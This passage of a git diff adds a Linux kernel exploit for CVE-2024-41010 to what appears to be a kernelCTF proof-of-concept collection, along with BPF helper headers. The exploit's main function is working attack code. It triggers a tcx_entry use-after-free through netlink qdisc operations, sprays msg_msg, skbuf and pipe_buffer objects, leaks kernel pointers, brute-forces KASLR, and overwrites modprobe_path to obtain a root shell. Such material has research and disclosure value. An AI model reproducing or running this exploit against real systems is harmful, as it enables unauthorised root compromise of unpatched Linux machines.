{ + errout("sendto(SOCK_RAW)"); + exit(EXIT_FAILURE); + } +} + +void loopback_send(char *buffer, int size) +{ + int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); + if (s == -1) + { + errout("socket(SOCK_RAW)"); + exit(EXIT_FAILURE); + } + + packet_socket_send(s, buffer, size); +} + +int packet_sock_kmalloc() +{ + int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP)); + if (s == -1) + { + errout("socket(SOCK_DGRAM)"); + exit(EXIT_FAILURE); + } + return s; +} + +void packet_sock_timer_schedule(int s, int timeout) +{ + packet_socket_rx_ring_init(s, 0x1000, 0x1000, 1, 0, timeout); +} + +void packet_sock_id_match_trigger(int s) +{ + char buffer[16]; + packet_socket_send(s, &buffer[0], sizeof(buffer)); +} + +int pagealloc_pad(size_t size, int count) +{ + return packet_socket_setup(size, PAGE_SIZE, count, 0, 100); +} + +/* misc helpers */ +int isheap(uint64_t ptr) +{ + int high = ptr >> 44; + if (high >= 0xffff8 && high < 0xfffff) + { + return 1; + } + return 0; +} + +static bool is_kernel_base(unsigned char *addr) +{ + // thanks lau :) + + // get-sig kernel_runtime_1 + if (memcmp(addr + 0x0, "\x48\x8d\x25\x51\x3f", 5) == 0 && + memcmp(addr + 0x7, "\x48\x8d\x3d\xf2\xff\xff\xff", 7) == 0) + return true; + + // get-sig kernel_runtime_2 + if (memcmp(addr + 0x0, "\xfc\x0f\x01\x15", 4) == 0 && + memcmp(addr + 0x8, "\xb8\x10\x00\x00\x00\x8e\xd8\x8e\xc0\x8e\xd0\xbf", 12) == 0 && + memcmp(addr + 0x18, "\x89\xde\x8b\x0d", 4) == 0 && + memcmp(addr + 0x20, "\xc1\xe9\x02\xf3\xa5\xbc", 6) == 0 && + memcmp(addr + 0x2a, "\x0f\x20\xe0\x83\xc8\x20\x0f\x22\xe0\xb9\x80\x00\x00\xc0\x0f\x32\x0f\xba\xe8\x08\x0f\x30\xb8\x00", 24) == 0 && + memcmp(addr + 0x45, "\x0f\x22\xd8\xb8\x01\x00\x00\x80\x0f\x22\xc0\xea\x57\x00\x00", 15) == 0 && + memcmp(addr + 0x55, "\x08\x00\xb9\x01\x01\x00\xc0\xb8", 8) == 0 && + memcmp(addr + 0x61, "\x31\xd2\x0f\x30\xe8", 5) == 0 && + memcmp(addr + 0x6a, "\x48\xc7\xc6", 3) == 0 && + memcmp(addr + 0x71, "\x48\xc7\xc0\x80\x00\x00", 6) == 0 && + memcmp(addr + 0x78, "\xff\xe0", 2) == 0) + return true; + + return false; +} + +bool check_modprobe(char *expected) +{ + char buf[32]; + int fd = open("/proc/sys/kernel/modprobe", O_RDONLY); + if (fd < 0) + { + perror("[-] open(modprobe)"); + } + if (read(fd, buf, 32) < 0) + errout("[-] read"); + if (!strcmp(buf, expected)) + { + close(fd); + return true; + } + close(fd); + return false; +} + +bool trigger_modprobe(int status_fd) +{ + char *argv = NULL; + int fd = memfd_create("", MFD_CLOEXEC); + int status = 0; + + /* avoid corrupted freelist */ + assign_to_core(1); + + if (write(fd, "\xff\xff\xff\xff", 4) < 0) + errout("[-] read"); + fexecve(fd, &argv, &argv); + close(fd); + + if (read(status_fd, &status, 1) < 0) + errout("[-] read"); + if (status) + { + return true; + } + + assign_to_core(0); + return false; +} + +/* Exploit */ +int main(void) +{ + struct sockaddr_nl snl; + char link_name[] = "lo\0"; + uint64_t sock; + unsigned int link_id; + + setvbuf(stdin, 0, 2, 0); + setvbuf(stdout, 0, 2, 0); + setvbuf(stderr, 0, 2, 0); + + srand(time(NULL)); + assign_to_core(0); + + // setup I/O for shell + int stdin_fd = dup(STDIN_FILENO); + int stdout_fd = dup(STDOUT_FILENO); + + // setup fake modprobe + int modprobe_fd = memfd_create("", MFD_CLOEXEC); + int status_fd = memfd_create("", 0); + + /* separate netnamespace for spray */ + int parent[2]; + int child[2]; + if (pipe(parent)) + errout("pipe"); + if (pipe(child)) + errout("pipe"); + if (!fork()) + { + char dummy_name[] = "br0\0"; + struct sockaddr_nl dummy_snl; + uint64_t dummy_sock; + unsigned int dummy_link; + char _c; + + if (setup_sandbox() < 0) + errout("sandbox failed"); + + /* netlink socket creation */ + if ((dummy_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)) < 0) + errout("socket"); + + /* source netlink sock */ + memset(&dummy_snl, 0, sizeof(dummy_snl)); + dummy_snl.nl_family = AF_NETLINK; + dummy_snl.nl_pid = getpid(); + if (bind(dummy_sock, (struct sockaddr *)&dummy_snl, sizeof(dummy_snl)) < 0) + errout("bind"); + + /* enable interface */ + rt_newlink(dummy_sock, dummy_name, 64); + printf("[*] dummy ifindex: %i\n", rt_getlink(dummy_sock, dummy_name)); + dummy_link = rt_getlink(dummy_sock, dummy_name); + printf("[*] dummy link: 0x%x\n", dummy_link); + rt_setlink(dummy_sock, dummy_link); + + /* create spray qdisc */ + rt_newqdisc(dummy_sock, dummy_link, 0x10000, 0xffffffff, "drr"); + + /* defrag kmalloc-512 */ + if (read(parent[0], &_c, 1) != 1) // wait + errout("read"); + for (int i = 0; i < SPRAY / 2; i++) + rt_addfilter(dummy_sock, dummy_link, 0x10000, 0xffff8000, i, "route", 1); + if (write(child[1], "", 1) != 1) + errout("write"); + + /* defrag and fill up qdisc slab */ + for (int i = 0; i < SPRAY / 2; i++) + rt_addclass(dummy_sock, dummy_link, i, 0x10000); + + /* alloc dummy qdisc (SLUB double-free bypass) */ + if (read(parent[0], &_c, 1) != 1) // wait + errout("read"); + rt_addclass(dummy_sock, dummy_link, SPRAY / 2, 0x10000); + if (write(child[1], "", 1) != 1) + errout("write"); + + /* delete dummy qdisc (SLUB double-free bypass) */ + if (read(parent[0], &_c, 1) != 1) // wait + errout("read"); + rt_delclass(dummy_sock, dummy_link, SPRAY / 2 - 1, 0x10000); + rt_delclass(dummy_sock, dummy_link, SPRAY / 2, 0x10000); + if (write(child[1], "", 1) != 1) + errout("write"); + + /* cleanup */ + if (read(parent[0], &_c, 1) != 1) // wait + errout("read"); + rt_delqdisc(dummy_sock, dummy_link, 0x10000, 0xffffffff); + close(dummy_sock); + + sleep(13371337); + } + + /* prepare skbuf spray */ + int skbuf512[288][2]; + for (int i = 0; i < 288; i++) + { + if (socketpair(AF_UNIX, SOCK_STREAM, 0, skbuf512[i]) < 0) + errout("socketpair"); + } + + int skbuf1k[SKBUF_SPRAY][2]; + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (socketpair(AF_UNIX, SOCK_STREAM, 0, skbuf1k[i]) < 0) + errout("socketpair"); + } + + /* defrag kmalloc-cg-512 */ + puts("[*] kmalloc-cg-512 skbuf padding"); + char buf[1024]; + memset(buf, 0, 1024); + for (int i = 0; i < 224; i++) + { + if (write(skbuf512[i][0], buf, 512 - 320) < 0) + errout("write(socket)"); + } + + puts("[*] setup sandbox"); + if (setup_sandbox() < 0) + errout("sandbox failed"); + + /* prepare BPF spray */ + puts("[*] prepare spray objects"); + struct bpf_insn insns[] = { + BPF_MOV64_IMM(BPF_REG_0, 4), + BPF_EXIT_INSN(), + }; + + union bpf_attr prog_attr = { + .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, + .insn_cnt = sizeof(insns) / sizeof(insns[0]), + .insns = (uint64_t)insns, + .license = (uint64_t) "GPL v2", + .log_level = 0, + .log_size = 0, + .log_buf = (uint64_t)0}; + + /* prepare msg_msg spray */ + msg_t *msg = calloc(1, sizeof(msg_t) + 4096 + 2048); + msg->mtype = MTYPE_PRIMARY; + + int defrag2k[SPRAY / 2]; + for (int i = 0; i < SPRAY / 2; i++) + { + defrag2k[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (defrag2k[i] < 0) + errout("msgget"); + } + + int frag4k[SPRAY * 12]; + for (int i = 0; i < SPRAY * 12; i++) + { + frag4k[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (frag4k[i] < 0) + errout("msgget"); + } + + int qid2k[SPRAY]; + for (int i = 0; i < SPRAY; i++) + { + qid2k[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (qid2k[i] < 0) + errout("msgget"); + } + + int defrag1k[SPRAY]; + for (int i = 0; i < SPRAY; i++) + { + defrag1k[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (defrag1k[i] < 0) + errout("msgget"); + } + + int seg128[SPRAY + 128]; + for (int i = 0; i < SPRAY + 128; i++) + { + seg128[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (seg128[i] < 0) + errout("msgget"); + } + int aux128[SPRAY * 2]; + for (int i = 0; i < SPRAY * 2; i++) + { + aux128[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (aux128[i] < 0) + errout("msgget"); + } + + int defrag512[SPRAY]; + for (int i = 0; i < SPRAY; i++) + { + defrag512[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (defrag512[i] < 0) + errout("msgget"); + } + + int qid1k[SPRAY]; + for (int i = 0; i < SPRAY; i++) + { + qid1k[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); + if (qid1k[i] < 0) + errout("msgget"); + } + + /* netlink socket creation */ + if ((sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)) < 0) + errout("socket"); + + /* source netlink sock */ + memset(&snl, 0, sizeof(snl)); + snl.nl_family = AF_NETLINK; + snl.nl_pid = getpid(); + if (bind(sock, (struct sockaddr *)&snl, sizeof(snl)) < 0) + errout("bind"); + + /* alloc kmalloc-512 in holes */ + char _c; + puts("[*] kmalloc-512 defrag"); + if (write(parent[1], "", 1) != 1) + errout("write"); + if (read(child[0], &_c, 1) != 1) // wait + errout("read"); + + /* enable interface (alloc netdev) */ + rt_newlink(sock, link_name, 32); + printf("[*] ifindex: %i\n", rt_getlink(sock, link_name)); + link_id = rt_getlink(sock, link_name); + printf("[*] link_id: 0x%x\n", link_id); + rt_setlink(sock, link_id); + + /* prepare tcf_proto spray */ + rt_newqdisc(sock, link_id, SPRAY_QDISC, 0xffffffff, "drr"); + + /* exhaust order 0 pages */ + puts("[*] order 0 pages defrag"); + int padding = pagealloc_pad(PAGE_SIZE, SPRAY); + + /* defrag cg-2k slab (msg_msgseg) */ + puts("[*] kmalloc-cg-2k defrag"); + for (int i = 0; i < SPRAY / 2; i++) + msgsnd(defrag2k[i], msg, 4096 - 48 + 2048 - 8, 0); + + /* create cg-4k partial slabs to avoid disputing buddy pages with cg-2k */ + puts("[*] kmalloc-cg-4k partial slabs"); + for (int i = 0; i < SPRAY * 12; i++) + msgsnd(frag4k[i], msg, 4096 - 48, 0); + for (int i = 8; i < SPRAY; i++) + { + if (!(i % 8)) + continue; + if (msgrcv(frag4k[i], msg, 4096 - 48, MTYPE_PRIMARY, 0) < 0) + errout("msgrcv"); + } + + /* defrag 2k slab (bpf_prog_aux) */ + int progfd[SPRAY]; + puts("[*] kmalloc-2k defrag"); + for (int i = 0; i < 3 * SPRAY / 4; i++) + { + progfd[i] = bpf(BPF_PROG_LOAD, &prog_attr); + if (progfd[i] == -1) + errout("bpf(BPF_PROG_LOAD)"); + } + + /* create qdisc and tcx_entry */ + printf("[*] alloc qdisc and tcx_entry\n"); + rt_newqdisc(sock, link_id, 0x10000, 0xfffffff1, "ingress"); + + /* fill up 2k slab */ + for (int i = 3 * SPRAY / 4; i < SPRAY; i++) + { + progfd[i] = bpf(BPF_PROG_LOAD, &prog_attr); + if (progfd[i] == -1) + errout("bpf(BPF_PROG_LOAD)"); + } + + /* replace old qdisc (free tcx_entry) */ + printf("[*] replace qdisc (free tcx_entry)\n"); + rt_newqdisc(sock, link_id, 0x10000, 0xfffffff1, "ingress"); + + /* alloc dummy qdisc (SLUB double-free bypass) */ + if (write(parent[1], "", 1) != 1) + errout("write"); + if (read(child[0], &_c, 1) != 1) // wait + errout("read"); + + /* free slab containing tcx_entry (return it to buddy) */ + printf("[*] cross-cache (kmalloc-2k -> kmalloc-cg-2k)\n"); + for (int i = SPRAY / 2; i < SPRAY; i++) + close(progfd[i]); + sleep(7); // wait for kfree_rcu + + /* msg_msgseg claim slab containing tcx_entry */ + puts("[*] overlap tcx_entry with msg_msgseg"); + for (int i = 0; i < SPRAY; i++) + msgsnd(qid2k[i], msg, 4096 - 48 + 2048 - 8, 0); + + /* insert into qdisc 2, will dereference dangling ptr */ + printf("[*] create tfilter (overwrite msg_msgseg->next)\n"); + rt_addfilter(sock, link_id, 0xffff0000, 1, 0, "fw", 1); // add head tcf_proto + + /* defrag 128 slab (tcf_proto) */ + puts("[*] kmalloc-128 defrag"); + for (int i = 0; i < SPRAY; i++) + rt_addfilter(sock, link_id, SPRAY_QDISC, i, i, "fw", 1); + + for (int i = 0; i < 64; i++) // Isolate victim tcf_proto + rt_addfilter(sock, link_id, SPRAY_QDISC, SPRAY + i, SPRAY + i, "fw", 1); + + puts("[*] create victim tcf_proto"); + rt_addfilter(sock, link_id, 0xffff0000, 2, 0, "fw", 2); // add victim tcf_proto + + for (int i = 64; i < 128; i++) // Isolate victim tcf_proto + rt_addfilter(sock, link_id, SPRAY_QDISC, SPRAY + i, SPRAY + i, "fw", 1); + + /* invalid free tcf_proto via msg_msgseg */ + printf("[*] free bad msg_msgseg (1) (free victim tcf_proto)\n"); + for (int i = 0; i < SPRAY; i++) + { + if (msgrcv(qid2k[i], msg, 4096 - 48 + 2048 - 8, MTYPE_PRIMARY, 0) < 0) // free victim addr (1) + errout("msgrcv"); + } + + /* reclaim UAF slot for next free */ + puts("[*] overlap tcx_entry with msg_msgseg again"); + for (int i = 0; i < SPRAY; i++) + msgsnd(qid2k[i], msg, 4096 - 48 + 2048 - 8, 0); + + /* Delete first tcf_proto, write victim tcf_proto ptr to head to be freed again */ + printf("[*] remove dummy tfilter (overwrite msg_msgseg->next)\n"); + rt_delfilter(sock, link_id, 1, 0xffff0000, 0, "fw", 1); + + /* Delete dummy qdisc (SLUB double-free bypass) */ + if (write(parent[1], "", 1) != 1) + errout("write"); + if (read(child[0], &_c, 1) != 1) // wait + errout("read"); + + /* free slab containing tcf_proto */ + printf("[*] cross-cache (kmalloc-128 -> kmalloc-cg-128)\n"); + for (int i = SPRAY; i < SPRAY + 128; i++) + rt_delfilter(sock, link_id, i, SPRAY_QDISC, i, "fw", 1); + sleep(7); // wait for kfree_rcu + + /* msg_msgseg claim free slab */ + memset(&msg->mtext, 0x43, 4096 - 48 + 128 - 8); + for (int i = 0; i < SPRAY; i++) + msgsnd(seg128[i], msg, 4096 - 48 + 128 - 8, 0); + + /* free msg_msgseg */ + printf("[*] free bad msg_msgseg (2) (free victim msg_msgseg in kmalloc-cg-128)\n"); + for (int i = 0; i < SPRAY; i++) + { + if (msgrcv(qid2k[i], msg, 4096 - 48 + 2048 - 8, MTYPE_PRIMARY, 0) < 0) // free victim addr (2) + errout("msgrcv"); + } + + /* find corrupted msg_msgseg */ + memset(msg->mtext, 0x44, 4096 - 48 + 128 - 8); + printf("[*] find corrupted msg_msgseg in kmalloc-cg-128\n"); + for (int i = 0; i < SPRAY * 2; i++) + { + ((uint32_t *)&msg->mtext[4096])[2] = i; + msgsnd(aux128[i], msg, 4096 - 48 + 128 - 8, 0); + } + + int evilseg = -1; + int vulnseg = -1; + int eviladdr = -1; + uint64_t netdev_ptr; + for (int i = 0; i < SPRAY; i++) + { + if (msgrcv(seg128[i], msg, 4096 - 48 + 128 - 8, 0, MSG_COPY | IPC_NOWAIT) < 0) + errout("msgrcv"); + if (memmem(&msg->mtext[4096], 128, "DDDDDDDD", 8)) + { + evilseg = i; + vulnseg = ((uint32_t *)&msg->mtext[4096])[2]; + break; + } + } + if (evilseg == -1) + { + puts("[-] corrupted msg_msgseg not found"); + exit(-1); + } + printf("[+] found corrupted msg_msgseg (evilseg: %i / vulnseg: %i)\n", evilseg, vulnseg); + + /* free corrupted msg_msgseg */ + if (msgrcv(aux128[vulnseg], msg, 4096 - 48 + 128 - 8, MTYPE_PRIMARY, 0) < 0) + errout("msgrcv"); + + /* overlap it with in_ifaddr */ + for (int i = 0; i < 32; i++) + inet_newaddr(sock, link_id, LOCALHOST + i, i); + + /* netdev pointer leak */ + if (msgrcv(seg128[evilseg], msg, 4096 - 48 + 128 - 8, 0, MSG_COPY | IPC_NOWAIT) < 0) + errout("msgrcv"); + if (isheap(((uint64_t *)msg)[509])) + { + eviladdr = ((uint32_t *)msg)[1027]; + netdev_ptr = ((uint64_t *)msg)[509]; + } + else + { + puts("[-] in_ifaddr leak not found"); + exit(-1); + } + + /* calculate pointer of adjancent kmalloc-cg-512 slab */ + uint64_t skbuf_ptr = (netdev_ptr >> PAGE_SHIFT << PAGE_SHIFT) - 0x6000; + printf("[*] predicted kmalloc-cg-512 ptr: 0x%lx\n", skbuf_ptr); + + /* make corrupted slot first in freelist */ + printf("[*] deleting eviladdr %i\n", eviladdr); + + for (int i = 0; i < eviladdr; i++) + msgsnd(aux128[SPRAY + i], msg, 128 - 48, 0); + + inet_deladdr(sock, link_id, LOCALHOST + eviladdr, eviladdr); + sleep(7); // wait for kfree_rcu + + memset(&msg->mtext, 0, 4096 - 48 + 128 - 8); + int badseg = -1; + for (int i = 0; i < 32; i++) + { + if (msgrcv(seg128[evilseg], msg, 4096 - 48 + 128 - 8, 0, MSG_COPY | IPC_NOWAIT) < 0) + errout("msgrcv"); + msgsnd(seg128[SPRAY + i], msg, 4096 - 48 + 128 - 8, 0); + if (msg->mtext[4096 - 48] == 0x43) + { + badseg = SPRAY + i; + printf("[+] found corrupted msg_msgseg 2: %i\n", badseg); + break; + } + } + if (badseg == -1) + { + puts("[-] corrupted msg_msgseg not found 2"); + exit(-1); + } + + if (msgrcv(seg128[badseg], msg, 4096 - 48 + 128 - 8, MTYPE_PRIMARY, 0) < 0) + errout("msgrcv"); + + /* data spray using alt_ifname (overlap msg_msgseg->next) */ + char name[128]; + *(uint64_t *)name = skbuf_ptr; + puts("[*] overlap msg_msgseg (point it to kmalloc-cg-512 skbuf->data)"); + rt_altifname(sock, link_id, name, 128); + + /* overlap cg-512 skbuf with msg_msg with cg-1k ptr */ + puts("[*] overlap kmalloc-cg-512 skbuf->data with msg_msg"); + if (msgrcv(seg128[evilseg], msg, 4096 - 48 + 128 - 8, MTYPE_PRIMARY, 0) < 0) + errout("msgrcv"); + + /* double-free in cg-512 */ + for (int i = 224; i < 256; i++) + { + if (write(skbuf512[i][0], buf, 512 - 320) < 0) + errout("read(socket)"); + } + + for (int i = 0; i < 224; i++) + { + close(skbuf512[i][0]); + close(skbuf512[i][1]); + } + + memset(&msg->mtext, 0, 4096 - 48 + 128 - 8); + for (int i = 0; i < SPRAY; i++) + { + *(uint32_t *)&msg->mtext = i; + msg->mtype = MTYPE_PRIMARY; + msgsnd(qid1k[i], msg, 512 - 48, 0); + } + for (int i = 0; i < SPRAY; i++) + { + *(uint32_t *)&msg->mtext = i; + msg->mtype = MTYPE_SECONDARY; + msgsnd(qid1k[i], msg, 1024 - 48, 0); + } + + /* leak msg_msg with cg-1k ptr */ + char msgbuf[PAGE_SIZE]; + memset(msgbuf, 0, PAGE_SIZE); + struct msg_msg *fake_msg = (struct msg_msg *)msgbuf; + int badqid = -1; + for (int i = 224; i < 256; i++) + { + + if (read(skbuf512[i][1], buf, 512 - 320) < 0) + errout("read(socket)"); + if (isheap(((uint64_t *)buf)[0]) && isheap(((uint64_t *)buf)[1])) + { + badqid = ((uint32_t *)buf)[12]; + memcpy(msgbuf, buf, 512 - 320); + } + } + if (badqid == -1) + { + puts("[-] corrupted msg_msg not found"); + exit(-1); + } + printf("[+] found corrupted msg_msg: %i\n", badqid); + printf("[*] kmalloc-cg-1k msg @ 0x%lx\n", (uint64_t)fake_msg->m_list.next); + + /* pivot to cg-1k */ + fake_msg->m_list.next = fake_msg->m_list.next - 1024; + for (int i = 224; i < 288; i++) + { + if (write(skbuf512[i][0], msgbuf, 512 - 320) < 0) + errout("write(socket)"); + } + + /* victim qid */ + uint32_t victimqid; + if (msgrcv(qid1k[badqid], msg, 1024 - 48, 0, MSG_COPY | IPC_NOWAIT) < 0) + errout("msgrcv"); + victimqid = *(uint32_t *)&msg->mtext; + printf("[*] victim qid: %i\n", victimqid); + + if (msgrcv(qid1k[badqid], msg, 1024 - 48, MTYPE_SECONDARY, 0) < 0) + errout("msgrcv"); + + fake_msg->m_list.prev = fake_msg->m_list.next; + fake_msg->m_type = MTYPE_FAKE; + fake_msg->m_ts = 1024 - 48; + *(uint64_t *)fake_msg->text = 0x1337133713371337; + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (write(skbuf1k[i][0], msgbuf, 1024 - 320) < 0) + errout("write(socket)"); + } + + /* double-free cg-1k slot */ + if (msgrcv(qid1k[victimqid], msg, 1024 - 48, MTYPE_FAKE, 0) < 0) + errout("msgrcv"); + + /* spray pipe_buffer victims */ + int fdflags; + int pfd[PIPE_SPRAY][2]; + for (int i = 0; i < PIPE_SPRAY; i++) + { + if (pipe(pfd[i]) < 0) + perror("pipe"); + fdflags = fcntl(pfd[i][0], F_GETFL, 0); + fcntl(pfd[i][0], F_SETFL, fdflags | O_NONBLOCK); + fdflags = fcntl(pfd[i][1], F_GETFL, 0); + fcntl(pfd[i][1], F_SETFL, fdflags | O_NONBLOCK); + } + + /* populate pipe_buffer */ + for (int i = 0; i < PIPE_SPRAY; i++) + { + if (write(pfd[i][1], "pwn", 3) < 0) + perror("write"); + } + + /* leak pipe_buffer */ + bool found = false; + struct pipe_buffer *pipebuf = calloc(1, 1024); + puts("[*] read pipe_buffer with skbuf"); + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (read(skbuf1k[i][1], buf, 1024 - 320) < 0) + { + perror("[-] read(socket)"); + } + if (*(uint64_t *)&buf[48] != 0x1337133713371337) + { + memcpy(pipebuf, buf, 1024); + found = true; + } + } + + if (!found) + { + puts("[-] corrupted pipe_buffer not found"); + exit(-1); + } + + puts("[+] found pipe_buffer"); + + /* leak vmemmap_base */ + uint64_t vmemmap_base = pipebuf->page & MASK; + printf("[*] vmemmap_base: 0x%lx\n", vmemmap_base); + + /* bruteforce phys-KASLR */ + uint64_t kernel_base; + found = false; + uint8_t data[PAGE_SIZE] = {0}; + puts("[*] bruteforce phys-KASLR"); + for (uint64_t i = 0;; i++) + { + kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT); + pipebuf->page = vmemmap_base + kernel_base; + pipebuf->offset = 0; + pipebuf->len = PAGE_SIZE + 1; + + printf("\r[*] trying 0x%lx", pipebuf->page); + + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (write(skbuf1k[i][0], pipebuf, 1024 - 320) < 0) + { + perror("\n[-] write(socket)"); + } + } + + for (int j = 0; j < PIPE_SPRAY; j++) + { + memset(&data, 0, PAGE_SIZE); + int count; + if (count = read(pfd[j][0], &data, PAGE_SIZE) < 0) + { + continue; + } + + if (!memcmp(&data, "pwn", 3)) + { + continue; + } + + if (is_kernel_base(data)) + { + found = true; + break; + } + } + + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (read(skbuf1k[i][1], buf, 1024 - 320) < 0) + { + perror("[-] read(socket)"); + } + } + + if (found) + { + break; + } + } + found = false; + printf("\n[+] kernel base vmemmap offset: 0x%lx\n", kernel_base); + + /* scan kernel memory */ + uint64_t modprobe_page, modprobe_off; + uint32_t pipe_idx; + uint64_t base_off = 0; + puts("[*] scanning kernel memory"); + for (uint64_t i = 0;; i++) + { + pipebuf->page = vmemmap_base + kernel_base + 0x40 * i; + pipebuf->offset = 0; + pipebuf->len = PAGE_SIZE + 1; + + if (!(i % 1000)) + { + printf("\r[*] trying 0x%lx, %luMb", pipebuf->page, i * 4096 / 1024 / 1024); + } + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (write(skbuf1k[i][0], pipebuf, 1024 - 320) < 0) + { + perror("\n[-] write(socket)"); + } + } + + for (int j = 0; j < PIPE_SPRAY; j++) + { + memset(&data, 0, PAGE_SIZE); + int count; + if (count = read(pfd[j][0], &data, PAGE_SIZE) < 0) + { + continue; + } + + if (!memcmp(&data, "pwn", 3)) + { + continue; + } + + void *locate = (uint64_t *)memmem(&data, PAGE_SIZE, "/sbin/modprobe", sizeof("/sbin/modprobe")); + if (locate) + { + puts("\n[+] found modprobe_path"); + modprobe_page = pipebuf->page; + modprobe_off = (uint8_t *)locate - data; + printf("[*] modprobe page: 0x%lx\n", modprobe_page); + printf("[*] modprobe offset: 0x%lx\n", modprobe_off); + found = true; + pipe_idx = j; + break; + } + } + + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (read(skbuf1k[i][1], buf, 1024 - 320) < 0) + { + perror("[-] read(socket)"); + } + } + + if (found) + { + break; + } + } + + /* overwrite modprobe_path */ + char fd_path[32] = {0}; + puts("[*] overwrite modprobe_path"); + for (int i = 0; i < 4194304; i++) + { + pipebuf->page = modprobe_page; + pipebuf->offset = modprobe_off; + pipebuf->len = 0; + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (write(skbuf1k[i][0], pipebuf, 1024 - 320) < 0) + { + perror("[-] write(socket)"); + break; + } + } + + memset(&data, 0, PAGE_SIZE); + snprintf(fd_path, sizeof(fd_path), "/proc/%i/fd/%i", i, modprobe_fd); + + lseek(modprobe_fd, 0, SEEK_SET); + dprintf(modprobe_fd, MODPROBE_SCRIPT, i, status_fd, i, stdin_fd, i, stdout_fd); + + if (write(pfd[pipe_idx][1], fd_path, 32) < 0) + { + perror("\n[-] write(pipe)"); + } + + if (check_modprobe(fd_path)) + { + puts("[-] failed to overwrite modprobe"); + break; + } + + if (trigger_modprobe(status_fd)) + { + puts("\n[+] got root"); + goto out; + } + + for (int i = 0; i < SKBUF_SPRAY; i++) + { + if (read(skbuf1k[i][1], buf, 1024 - 320) < 0) + { + perror("[-] read(socket)"); + } + } + } + puts("[-] fake modprobe failed"); + +out: + sleep(13371337); + + return 0; +} \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/bpf.h b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/bpf.h new file mode 100644 index 00000000..dd71dca5 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/bpf.h @@ -0,0 +1,14 @@ +#ifndef _BPF_H_ +#define _MSG_H_ + +#include +#include +#include +#include "bpf_insn.h" + +int bpf(int cmd, union bpf_attr *attrs); +int map_create(int val_size, int max_entries); +int map_update(int mapfd, int key, void *pval); +int map_lookup(int mapfd, int key, void *pval); + +#endif \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/bpf_insn.h b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/bpf_insn.h new file mode 100644 index 00000000..e1441c68 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-41010_lts/exploit/lts-6.6.31/inc/bpf_insn.h @@ -0,0 +1,281 @@ +/* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) */ +/* eBPF instruction mini library */ +#ifndef __BPF_INSN_H +#define __BPF_INSN_H + +struct bpf_insn; + +/* ArgX, context and stack frame pointer register positions. Note, + * Arg1, Arg2, Arg3, etc are used as argument mappings of function + * calls in BPF_CALL instruction. + */ +#define BPF_REG_ARG1 BPF_REG_1 +#define BPF_REG_ARG2 BPF_REG_2 +#define BPF_REG_ARG3 BPF_REG_3 +#define BPF_REG_ARG4 BPF_REG_4 +#define BPF_REG_ARG5 BPF_REG_5 +#define BPF_REG_CTX BPF_REG_6 +#define BPF_REG_FP BPF_REG_10 + +/* Additional register mappings for converted user programs. */ +#define BPF_REG_A BPF_REG_0 +#define BPF_REG_X BPF_REG_7 +#define BPF_REG_TMP BPF_REG_8 + +/* BPF program can access up to 512 bytes of stack space. */ +#define MAX_BPF_STACK 512 + +/* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */ + +#define BPF_ALU64_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_ALU32_REG(OP, DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_OP(OP) | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +/* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */ + +#define BPF_ALU64_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +#define BPF_ALU32_IMM(OP, DST, IMM) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_OP(OP) | BPF_K, \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = IMM }) + +/* Endianess conversion, cpu_to_{l,b}e(), {l,b}e_to_cpu() */ + +#define BPF_ENDIAN(TYPE, DST, LEN) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_END | BPF_SRC(TYPE), \ + .dst_reg = DST, \ + .src_reg = 0, \ + .off = 0, \ + .imm = LEN }) + +/* Short form of mov, dst_reg = src_reg */ + +#define BPF_MOV64_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU64 | BPF_MOV | BPF_X, \ + .dst_reg = DST, \ + .src_reg = SRC, \ + .off = 0, \ + .imm = 0 }) + +#define BPF_MOV32_REG(DST, SRC) \ + ((struct bpf_insn) { \ + .code = BPF_ALU | BPF_MOV | BPF_X, \ + .dst_reg = 